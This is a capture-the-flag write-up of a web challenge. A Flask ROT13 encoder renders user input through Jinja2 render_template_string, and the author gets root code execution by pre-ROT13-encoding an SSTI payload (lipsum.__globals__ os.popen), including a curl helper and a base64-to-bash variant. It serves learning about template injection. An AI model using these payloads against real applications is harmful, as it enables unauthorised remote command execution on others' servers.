Шифр Цезаря (Caesar Cipher) — ROT13 SSTI Bypass
Шифр Цезаря (Caesar Cipher) — ROT13 SSTI Bypass
Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-06-27 | Status: Solved Techniques: ssti_rce, rot13_pre_encoding_bypass, lipsum_globals_rce
Summary
Task: Flask ROT13 online encoder whose /encrypt endpoint feeds the ROT13'd input into render_template_string(), yielding Jinja2 SSTI and RCE. Solution: pre-ROT13-encode the SSTI payload so it decodes to valid Jinja2 after the server transform, then exfiltrate via lipsum.globals os.popen; flag found in a trailing comment of /opt/app.py.
Шифр Цезаря (Caesar Cipher) — ROT13 SSTI Bypass — hackerlab
Description
Решил сделать собственный онлайн-шифратор ROT13. Пока работает только функция кодирования — потестируйте, пожалуйста: вроде бы всё чисто.
Translation: "I made my own ROT13 online encoder. Only the encode function works for now — please test it: seems clean."
A Flask + gunicorn web app at http://62.173.140.174:16122/ offers a ROT13 "online encoder". The /encrypt endpoint takes JSON {"text": ...}, applies ROT13, and returns the result. The goal is RCE and recovery of the flag.
Recon
The index page is an AJAX form that POSTs JSON to /encrypt:
bash read-only • copy allowedcurl -sI http://62.173.140.174:16122/ # Server: gunicorn/20.1.0 curl -s http://62.173.140.174:16122/ # form -> POST /encrypt {"text": ...}
Testing the endpoint:
bash read-only • copy allowedcurl -s -X POST http://62.173.140.174:16122/encrypt \ -H 'Content-Type: application/json' -d '{"text":"hello"}' # {"encrypted_text":"uryyb"} <- plain ROT13
Vulnerability Analysis
The server ROT13s the input and passes the result straight into Jinja2's render_template_string(), with no sandboxing — classic SSTI leading to RCE.
The recovered source (/opt/app.py):
python read-only • copy allowedfrom flask import Flask, render_template, render_template_string, request, jsonify app = Flask(__name__) def rot13(text): return text.translate(str.maketrans( "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", "NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm")) @app.route('/encrypt', methods=['POST']) def encrypt(): data = request.json text = data.get('text', '') encrypted_text = rot13(text) # ROT13 BEFORE rendering try: result = render_template_string(encrypted_text) # SSTI sink except Exception as e: result = str(e) return jsonify({'encrypted_text': result})
The twist: ROT13 is applied to the input before template rendering, and the rendered result is returned without being ROT13'd again. So a raw Jinja2 payload gets its letters scrambled before evaluation:
bash read-only • copy allowed# {{7*7}} survives because digits/operators are unaffected by ROT13 curl -s -X POST .../encrypt -d '{"text":"{{7*7}}"}' # -> {"encrypted_text":"49"} # String literal proves ROT13 runs first curl -s -X POST .../encrypt -d '{"text":"{{\"abc\"}}"}' # -> "nop" (ROT13 of abc) # config gets ROT13'd to pbasvt -> undefined curl -s -X POST .../encrypt -d '{"text":"{{config}}"}' # -> "" # raw globals payload -> 'yvcfhz' is undefined (lipsum -> yvcfhz)
The attacker must pre-ROT13-encode the Jinja2 payload so that after the server's ROT13 it decodes back into valid Jinja2. Command output (digits, strings) comes back in plaintext because ROT13 is not re-applied to the render result.
Exploitation
The real payload:
jinja2 read-only • copy allowed{{ lipsum.__globals__["os"].popen("id").read() }}
ROT13-encoded form actually sent to the server (only letters are rotated; digits, quotes, brackets, underscores stay):
jinja2 read-only • copy allowed{{ yvcfhz.__tybonyf__["bf"].cbcra("vq").ernq() }}
Helper one-liner that builds the pre-encoded payload and fires it:
bash read-only • copy allowedINNER='{{ lipsum.__globals__["os"].popen("CMD").read() }}' PAYLOAD=$(python3 -c "import codecs,json,sys; print(json.dumps({'text':codecs.encode(sys.argv[1],'rot13')}))" "$INNER") curl -s -X POST http://62.173.140.174:16122/encrypt \ -H 'Content-Type: application/json' -d "$PAYLOAD"
Running id:
uid=0(root) gid=0(root) groups=0(root)
RCE as root. For commands with quotes/special characters, base64-encode the shell command to dodge escaping issues, since ROT13 only touches [A-Za-z]:
jinja2 read-only • copy allowed{{ lipsum.__globals__["os"].popen("echo <b64> | base64 -d | bash").read() }}
The flag was not in the environment or obvious paths. Reading the source revealed it in a trailing comment:
bash read-only • copy allowedINNER='{{ lipsum.__globals__["os"].popen("cat /opt/app.py").read() }}' # ... -> source ends with: # Take your flag - CODEBY{REDACTED}